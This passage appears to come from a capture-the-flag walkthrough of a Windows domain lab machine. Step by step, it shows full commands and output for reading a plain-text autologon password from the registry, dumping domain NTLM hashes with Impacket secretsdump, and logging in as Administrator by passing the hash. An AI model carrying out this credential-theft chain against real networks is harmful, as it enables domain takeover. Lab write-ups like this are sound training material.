

# Root

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## STEP 8:

Using `Get-LocalUser` will display all users on the computer.

```
*Evil-WinRM* PS C:\Users\FSmith\Desktop> Get-LocalUser

Name           Enabled Description
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Administrator  True   Built-in account for administering the computer/domain
Guest           False  Built-in account for guest access to the computer/domain
krbtgt          False  Key Distribution Center Service Account
HSmith          True
FSmith          True
svc_loanmgr     True
```

The interesting user accounts here are "Administrator", "HSmith", "FSmith", and "svc\_LoanMgr".

## STEP 9:

Running `Get-ADUser -Filter * | FL Name,User*` will list domain users and confirm their login account.

```
*Evil-WinRM* PS C:\Users> Get-ADUser -Filter * | FL Name,User*

Name           : Administrator
UserPrincipalName :

Name           : Guest
UserPrincipalName :

Name           : krbtgt
UserPrincipalName :

Name           : Hugo Smith
UserPrincipalName : HSmith@EGOTISTICAL-BANK.LOCAL

Name           : Fergus Smith
UserPrincipalName : FSmith@EGOTISTICAL-BANK.LOCAL

Name           : L Manager
UserPrincipalName : svc_loanmgr@EGOTISTICAL-BANK.LOCAL
```

## STEP 10:

Checking the `C:\Users\` folder we don't see a folder for HSmith. We suspect this user has not logged into this machine and hence does not have a user folder. At this point we can suspect that the HSmith account is a dead end, but Administrator and svc\_LoanMgr both appear to be valid targets.

```
*Evil-WinRM* PS C:\Users\FSmith\Desktop> cd C:\Users\
*Evil-WinRM* PS C:\Users> ls

Directory: C:\Users

Mode                LastWriteTime         Length Name
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d-----           1/25/2020   1:05 PM           Administrator
d-----           1/23/2020   9:52 AM             FSmith
d-r-----         1/22/2020   9:32 PM             Public
d-----           1/24/2020   4:05 PM           svc_loanmgr
```

## STEP 11:

Checking the Windows registry (`Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"`) for any auto login information we see the svc\_LoanMgr login information is stored in plain text.

```
*Evil-WinRM* PS C:\Users> Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"

AutoRestartShell      : 1
Background             : 0 0 0
CachedLogonsCount      : 10
DebugServerCommand     : no
DefaultDomainName      : EGOTISTICALBANK
DefaultUserName        : EGOTISTICALBANK\svc_loanmanager
DisableBackButton     : 1
EnableSIHostIntegration : 1
ForceUnlockLogon       : 0
LegalNoticeCaption     : 
LegalNoticeText        : 
PasswordExpiryWarning  : 5
PowerdownAfterShutdown : 0
PreCreateKnownFolders  : {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk          : 1
Shell                  : explorer.exe
ShellCritical          : 0
ShellInfrastructure    : sihost.exe
SiHostCritical         : 0
SiHostReadyTimeOut     : 0
SiHostRestartCountLimit : 0
SiHostRestartTimeGap   : 0
Userinit               : C:\Windows\system32\userinit.exe,
VMApplet               : SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled    : 0
scremoveoption         : 0
DisableCAD             : 1
LastLogOffEndTimePerfCounter : 38178136936
ShutdownFlags          : 2147483687
DisableLockWorkstation : 0
DefaultPassword        : Moneymakestheworldgoround!
PSPPath                : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
PSParentPath           : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion
PSChildName            : Winlogon
PSDrive                : HKLM
PSProvider              : Microsoft.PowerShell.Core\Registry
```

#### STEP 12:

Running the **IMPACKET** toolkit script (`python secretsdump.py -just-dc-ntlm egotistic-bank.local/svc_loanmgr@10.10.10.175`) and using the password we captured in step 11 returns the hash password of the administrator account.

```
[root:~/impacket/examples$ python secretsdump.py -just-dc-ntlm egotistic-bank.local/svc_loanmgr@10.10.10.175
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:9f65c98e33e10125334b28ff3b099c84:::
[*] Cleaning up ...
[root:~/impacket/examples$
```

#### STEP 13:

We can now use the **EVIL-WINRM** again to login with Administrator account and **Pass-The-Hash** code from what we got in step 12 instead of using a password to login with (`ruby evil-winrm.rb -i 10.10.10.175 -u Administrator -H d9485863c1e9e05851aa40cbb4ab9dff`).

```
[root:~/evil-winrm$ ruby evil-winrm.rb -i 10.10.10.175 -u Administrator -H d9485863c1e9e05851aa40cbb4ab9dff

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Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

#### STEP 14:

Now we navigate to the desktop and get the root.txt flag similar to what we did in step 7.

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd C:\Users\Administrator\Desktop\
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls

Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
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-a----           1/23/2020  10:22 AM             32 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> Get-Content root.txt
f3
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd C:\Users\Administrator\Desktop\  
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls  
  
Directory: C:\Users\Administrator\Desktop  
  
Mode                LastWriteTime         Length Name  
----                -  
-a- 1/23/2020 10:22 AM             32 root.txt  
  
*Evil-WinRM* PS C:\Users\Administrator\Desktop> Get-Content root.txt  
f3  
*Evil-WinRM* PS C:\Users\Administrator\Desktop> █
```

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